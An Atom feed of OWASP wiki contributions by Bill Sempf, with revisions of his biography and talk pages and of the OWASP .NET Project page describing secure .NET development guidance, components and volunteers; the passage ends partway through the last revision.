<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bill+Sempf</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Bill+Sempf"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Bill_Sempf"/>
		<updated>2026-05-27T09:12:36Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User_talk:Bill_Sempf&amp;diff=245471</id>
		<title>User talk:Bill Sempf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User_talk:Bill_Sempf&amp;diff=245471"/>
				<updated>2018-11-25T03:32:20Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Welcome to ''OWASP''!''' We hope you will contribute much and well. You will probably want to read the [[Help:Contents|help pages]]. Again, welcome and have fun! [[User:KateHartmann|KateHartmann]] 13:13, 16 June 2011 (EDT) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thanks, Kate! --[[User:Bill Sempf|Bill Sempf]] 13:48, 16 June 2011 (EDT)&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User_talk:Bill_Sempf&amp;diff=245470</id>
		<title>User talk:Bill Sempf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User_talk:Bill_Sempf&amp;diff=245470"/>
				<updated>2018-11-25T03:32:08Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''Welcome to ''OWASP''!''' We hope you will contribute much and well. You will probably want to read the [[Help:Contents|help pages]]. Again, welcome and have fun! [[User:KateHartmann|KateHartmann]] 13:13, 16 June 2011 (EDT) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Thanks, Kate! --[[User:Bill Sempf|Bill Sempf]] 13:48, 16 June 2011 (EDT)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Y20xOS1rNGxhLWhhOWktYzAwbC1wbzBM&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Bill_Sempf&amp;diff=245192</id>
		<title>User:Bill Sempf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Bill_Sempf&amp;diff=245192"/>
				<updated>2018-11-16T14:37:10Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;FCK__ShowTableBorders&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;4&amp;quot; cellpadding=&amp;quot;4&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
[[Image:BillSempf.jpg]]&lt;br /&gt;
&lt;br /&gt;
| &lt;br /&gt;
In 1992, Bill Sempf was working as a systems administrator for The Ohio·State University under Sandy Wambold, and formalized his career-long association with internetworking. While working for one of the first ISPs in Columbus in 1995, he built the second major web-based shopping center, Americash Mall, using Cold Fusion and Oracle. Bill's focus started to turn to security around the turn of the century. Internet-driven viruses were becoming the norm by this time, and applications were susceptible to attack like never before. In 2003, Bill wrote the Security and Deployment chapters of the often-referenced Professional ASP.NET Web Services for Wrox, and began his career in pen testing and threat modeling with a web services analysis for the Ohio Department of Health. &lt;br /&gt;
&lt;br /&gt;
Currently, Bill is working as a security-minded software architect specializing in the Microsoft space. He has recently designed a global architecture for a telecommunications web portal, modeled threats for a global travel provider, and provided identity policy and governance for the State of Ohio. Additionally, he is actively publishing, his latest being [http://www.dummies.com/store/product/Windows-8-Application-Development-with-HTML5-For-Dummies.productCd-111817335X.html Windows 8 Application Development with HTML 5 For Dummies] and [http://www.dummies.com/store/product/C-5-0-All-in-One-For-Dummies.productCd-1118385365.html C# 5.0 All-in-one For Dummies].&lt;br /&gt;
&lt;br /&gt;
Bill is an organizer for the [[Columbus]] chapter of OWASP, and the project leader for the [[OWASP .NET Project]]. He is one of the editors for the [[.NET Security Cheat Sheet]] and the [[Security Testing Cheat Sheet]]. He can be reached at bill.sempf [at] owasp.org and at www.sempf.net.&lt;br /&gt;
&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Bill_Sempf&amp;diff=245191</id>
		<title>User:Bill Sempf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Bill_Sempf&amp;diff=245191"/>
				<updated>2018-11-16T14:36:38Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;FCK__ShowTableBorders&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;4&amp;quot; cellpadding=&amp;quot;4&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
[[Image:BillSempf.jpg]]&lt;br /&gt;
&lt;br /&gt;
| &lt;br /&gt;
In 1992, Bill Sempf was working as a systems administrator for The Ohio·State University under Sandy Wambold, and formalized his career-long association with internetworking. While working for one of the first ISPs in Columbus in 1995, he built the second major web-based shopping center, Americash Mall, using Cold Fusion and Oracle. Bill's focus started to turn to security around the turn of the century. Internet-driven viruses were becoming the norm by this time, and applications were susceptible to attack like never before. In 2003, Bill wrote the Security and Deployment chapters of the often-referenced Professional ASP.NET Web Services for Wrox, and began his career in pen testing and threat modeling with a web services analysis for the Ohio Department of Health. &lt;br /&gt;
&lt;br /&gt;
Currently, Bill is working as a security-minded software architect specializing in the Microsoft space. He has recently designed a global architecture for a telecommunications web portal, modeled threats for a global travel provider, and provided identity policy and governance for the State of Ohio. Additionally, he is actively publishing, his latest being [http://www.dummies.com/store/product/Windows-8-Application-Development-with-HTML5-For-Dummies.productCd-111817335X.html Windows 8 Application Development with HTML 5 For Dummies] and [http://www.dummies.com/store/product/C-5-0-All-in-One-For-Dummies.productCd-1118385365.html C# 5.0 All-in-one For Dummies].&lt;br /&gt;
&lt;br /&gt;
Bill is an organizer for the [[Columbus]] chapter of OWASP, and the project leader for the [[OWASP .NET Project]]. He is one of the editors for the [[.NET Security Cheat Sheet]] and the [[Security Testing Cheat Sheet]]. He can be reached at bill.sempf [at] owasp.org and at www.sempf.net.&lt;br /&gt;
&lt;br /&gt;
Y20xOC1UNWVyLXk3TjMtejJTcy1wZXMx&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Bill_Sempf&amp;diff=245171</id>
		<title>User:Bill Sempf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Bill_Sempf&amp;diff=245171"/>
				<updated>2018-11-15T15:34:04Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;FCK__ShowTableBorders&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;4&amp;quot; cellpadding=&amp;quot;4&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
[[Image:BillSempf.jpg]]&lt;br /&gt;
&lt;br /&gt;
| &lt;br /&gt;
In 1992, Bill Sempf was working as a systems administrator for The Ohio·State University under Sandy Wambold, and formalized his career-long association with internetworking. While working for one of the first ISPs in Columbus in 1995, he built the second major web-based shopping center, Americash Mall, using Cold Fusion and Oracle. Bill's focus started to turn to security around the turn of the century. Internet-driven viruses were becoming the norm by this time, and applications were susceptible to attack like never before. In 2003, Bill wrote the Security and Deployment chapters of the often-referenced Professional ASP.NET Web Services for Wrox, and began his career in pen testing and threat modeling with a web services analysis for the Ohio Department of Health. &lt;br /&gt;
&lt;br /&gt;
Currently, Bill is working as a security-minded software architect specializing in the Microsoft space. He has recently designed a global architecture for a telecommunications web portal, modeled threats for a global travel provider, and provided identity policy and governance for the State of Ohio. Additionally, he is actively publishing, his latest being [http://www.dummies.com/store/product/Windows-8-Application-Development-with-HTML5-For-Dummies.productCd-111817335X.html Windows 8 Application Development with HTML 5 For Dummies] and [http://www.dummies.com/store/product/C-5-0-All-in-One-For-Dummies.productCd-1118385365.html C# 5.0 All-in-one For Dummies].&lt;br /&gt;
&lt;br /&gt;
Bill is an organizer for the [[Columbus]] chapter of OWASP, and the project leader for the [[OWASP .NET Project]]. He is one of the editors for the [[.NET Security Cheat Sheet]] and the [[Security Testing Cheat Sheet]]. He can be reached at bill.sempf [at] owasp.org and at www.sempf.net.&lt;br /&gt;
&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Bill_Sempf&amp;diff=245170</id>
		<title>User:Bill Sempf</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Bill_Sempf&amp;diff=245170"/>
				<updated>2018-11-15T15:33:51Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;FCK__ShowTableBorders&amp;quot; border=&amp;quot;0&amp;quot; cellspacing=&amp;quot;4&amp;quot; cellpadding=&amp;quot;4&amp;quot; width=&amp;quot;100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &lt;br /&gt;
[[Image:BillSempf.jpg]]&lt;br /&gt;
&lt;br /&gt;
| &lt;br /&gt;
In 1992, Bill Sempf was working as a systems administrator for The Ohio·State University under Sandy Wambold, and formalized his career-long association with internetworking. While working for one of the first ISPs in Columbus in 1995, he built the second major web-based shopping center, Americash Mall, using Cold Fusion and Oracle. Bill's focus started to turn to security around the turn of the century. Internet-driven viruses were becoming the norm by this time, and applications were susceptible to attack like never before. In 2003, Bill wrote the Security and Deployment chapters of the often-referenced Professional ASP.NET Web Services for Wrox, and began his career in pen testing and threat modeling with a web services analysis for the Ohio Department of Health. &lt;br /&gt;
&lt;br /&gt;
Currently, Bill is working as a security-minded software architect specializing in the Microsoft space. He has recently designed a global architecture for a telecommunications web portal, modeled threats for a global travel provider, and provided identity policy and governance for the State of Ohio. Additionally, he is actively publishing, his latest being [http://www.dummies.com/store/product/Windows-8-Application-Development-with-HTML5-For-Dummies.productCd-111817335X.html Windows 8 Application Development with HTML 5 For Dummies] and [http://www.dummies.com/store/product/C-5-0-All-in-One-For-Dummies.productCd-1118385365.html C# 5.0 All-in-one For Dummies].&lt;br /&gt;
&lt;br /&gt;
Bill is an organizer for the [[Columbus]] chapter of OWASP, and the project leader for the [[OWASP .NET Project]]. He is one of the editors for the [[.NET Security Cheat Sheet]] and the [[Security Testing Cheat Sheet]]. He can be reached at bill.sempf [at] owasp.org and at www.sempf.net.&lt;br /&gt;
&lt;br /&gt;
Y20xOC1UNWVyLXk3TjMtejJTcy1wZXMx&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=243036</id>
		<title>Category:OWASP .NET Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=243036"/>
				<updated>2018-08-30T20:08:11Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Updated News&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==OWASP .NET Project==&lt;br /&gt;
&lt;br /&gt;
The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.&lt;br /&gt;
&lt;br /&gt;
The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is the OWASP .NET Project? ==&lt;br /&gt;
&lt;br /&gt;
* Deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[Java|Java and JVM]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Aug 2018] Added Deserialization&lt;br /&gt;
* [May 2018] Began IIS Hardening Project&lt;br /&gt;
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core&lt;br /&gt;
* [Jan 2016] Added the Two Factor Authentication component&lt;br /&gt;
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!&lt;br /&gt;
* [Jan 2015] Three completed articles, and four in progress&lt;br /&gt;
* [Oct 2014] Promoted our first guidance article from Draft&lt;br /&gt;
* [Sep 2014] AppSec USA .NET Project Summit&lt;br /&gt;
* [Mar 2014] Project roadmap&lt;br /&gt;
* [Feb 2014] Project reboot&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Resources=&lt;br /&gt;
&lt;br /&gt;
The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.&lt;br /&gt;
&lt;br /&gt;
== Detailed Guidance ==&lt;br /&gt;
The following articles describe specific guidance for working with the .NET Framework.&lt;br /&gt;
&lt;br /&gt;
* The [[.NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing]]&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
* [[Using Rfc2898DeriveBytes for PBKDF2]]&lt;br /&gt;
* [[Anti CSRF Tokens ASP.NET]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
== Security Guidance ==&lt;br /&gt;
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing| .NET Penetration Testing]]&lt;br /&gt;
* [[Deserialization_Cheat_Sheet| Deserialization Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
The following sections include specific guidance for particular technological problems related to .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]&lt;br /&gt;
* [[.Net CSRF Guard]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]&lt;br /&gt;
* [[.NET AntiXSS Library]]&lt;br /&gt;
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]&lt;br /&gt;
&lt;br /&gt;
== Recommended Resources ==&lt;br /&gt;
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:&lt;br /&gt;
&lt;br /&gt;
; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]&lt;br /&gt;
&lt;br /&gt;
== Active Projects ==&lt;br /&gt;
; [[OWASP .NET Active Projects]]&lt;br /&gt;
&lt;br /&gt;
== Research Projects ==&lt;br /&gt;
; [[OWASP .NET Research]]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to  exploit. &lt;br /&gt;
&lt;br /&gt;
The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.&lt;br /&gt;
&lt;br /&gt;
== Themes ==&lt;br /&gt;
The themes of the .NET Project include:&lt;br /&gt;
* Deep, rich guidance for .NET developers using the security features of .NET&lt;br /&gt;
* Access to use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Features ==&lt;br /&gt;
&lt;br /&gt;
Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.&lt;br /&gt;
&lt;br /&gt;
=== Guidance ===&lt;br /&gt;
&lt;br /&gt;
Guidance is documentation that assists .NET developers implementing the security features of the framework.&lt;br /&gt;
&lt;br /&gt;
==== In-process guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[Windows Identity Foundation]]&lt;br /&gt;
* [[.NET Memory Management]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
==== Needed guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[ASP.NET Identity]]&lt;br /&gt;
* [[DPAPI]]&lt;br /&gt;
* [[ClickOnce Deployment]]&lt;br /&gt;
* [[.NET Callbacks - Vulnerabilities and Remediation]]&lt;br /&gt;
* [[Dependency Injection]]&lt;br /&gt;
* [[IoC containers]]&lt;br /&gt;
* [[Preventing SQL Injection in ADO.NET]]&lt;br /&gt;
* [[Authenticated Symmetric Encryption in .NET]]&lt;br /&gt;
&lt;br /&gt;
=== Components === &lt;br /&gt;
&lt;br /&gt;
Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.&lt;br /&gt;
&lt;br /&gt;
==== Needed Components ====&lt;br /&gt;
&lt;br /&gt;
Please suggest needed components.&lt;br /&gt;
&lt;br /&gt;
=== Projects that use .NET ===&lt;br /&gt;
&lt;br /&gt;
These are projects that happen to be built in .NET. Many of them could use .NET development assistance:&lt;br /&gt;
&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]&lt;br /&gt;
&lt;br /&gt;
== Ideas ==&lt;br /&gt;
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)&lt;br /&gt;
&lt;br /&gt;
=Project Tracker=&lt;br /&gt;
==Timeline==&lt;br /&gt;
* January 2016 - Added the Two Factor Authentication component&lt;br /&gt;
* January 2015 - Three more completed articles, and four in progress&lt;br /&gt;
* November 2014 - Four completed articles, six in process.&lt;br /&gt;
* September 2014 - AppSec USA &lt;br /&gt;
* March 2014 - Project Roadmap&lt;br /&gt;
* February - 2014 Project Reboot&lt;br /&gt;
* May 2009 - Updated tabs, added content recommended by Andre Gironda&lt;br /&gt;
* March 2009 - Converted to new tab format, added Project Tracker tab&lt;br /&gt;
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
==Questions and answers==&lt;br /&gt;
; Q1: Why are there so many empty projects?&lt;br /&gt;
; A1: Because YOU haven't worked on them! We need your help!&lt;br /&gt;
&lt;br /&gt;
; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!&lt;br /&gt;
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
; Q3: Where are the .NET specific security tools.&lt;br /&gt;
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.&lt;br /&gt;
&lt;br /&gt;
=Volunteers=&lt;br /&gt;
&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
&lt;br /&gt;
==Already involved==&lt;br /&gt;
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:&lt;br /&gt;
&lt;br /&gt;
* Kevin Basista&lt;br /&gt;
* Brice Williams&lt;br /&gt;
* Marion Nepomuceno&lt;br /&gt;
* Dan Wilson&lt;br /&gt;
* Jess Vermont&lt;br /&gt;
* Jeff Knutson&lt;br /&gt;
* Robert Ginsburg&lt;br /&gt;
* Kyle Johnson&lt;br /&gt;
* Troy Hunt &lt;br /&gt;
* Dinis Cruz&lt;br /&gt;
* Shamir Charania&lt;br /&gt;
* Mohammed Al-Taweel&lt;br /&gt;
* Daniel Brzozowski&lt;br /&gt;
* Lachlan Barclay&lt;br /&gt;
* Bill Sempf&lt;br /&gt;
* Barry Dorrans (Microsoft)&lt;br /&gt;
* Reid Borsuk (Microsoft)&lt;br /&gt;
&lt;br /&gt;
We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP .NET Project&lt;br /&gt;
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.&lt;br /&gt;
| project_license =CC-BY 3.0 for documentation and GPLv3 for code. &lt;br /&gt;
| project_home_page = &lt;br /&gt;
| leader_name1 = Bill Sempf&lt;br /&gt;
| leader_email1 =&lt;br /&gt;
| leader_username1 = Bill_Sempf&lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = owasp-dotnet&lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=243034</id>
		<title>Category:OWASP .NET Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_.NET_Project&amp;diff=243034"/>
				<updated>2018-08-30T20:05:23Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added Deserialization Cheat Sheet&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==OWASP .NET Project==&lt;br /&gt;
&lt;br /&gt;
The OWASP.NET Project is the clearinghouse for all information related to building secure .NET web applications and services. The goal of the project is to provide deep content for all roles related to .NET web applications and services.&lt;br /&gt;
&lt;br /&gt;
The focus of the project is on guidance for developers using the framework, OWASP Components that use .NET, and participation in OWASP projects that use .NET.&lt;br /&gt;
&lt;br /&gt;
Community content is key to security information. The project depends on content from developers throughout the .NET world. Check out the [[OWASP .Net Project Roadmap]] for ways to get involved.&lt;br /&gt;
&lt;br /&gt;
==Purpose==&lt;br /&gt;
&lt;br /&gt;
* Provide deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Create guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Focus on information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
OWASP .NET Project is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is the OWASP .NET Project? ==&lt;br /&gt;
&lt;br /&gt;
* Deep, rich guidance for .NET developers in using the security features of .NET&lt;br /&gt;
* Guidance for use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
[https://www.owasp.org/index.php/User:Bill_Sempf Bill Sempf]&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp-dotnet OWASP .NET Mailing List]&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
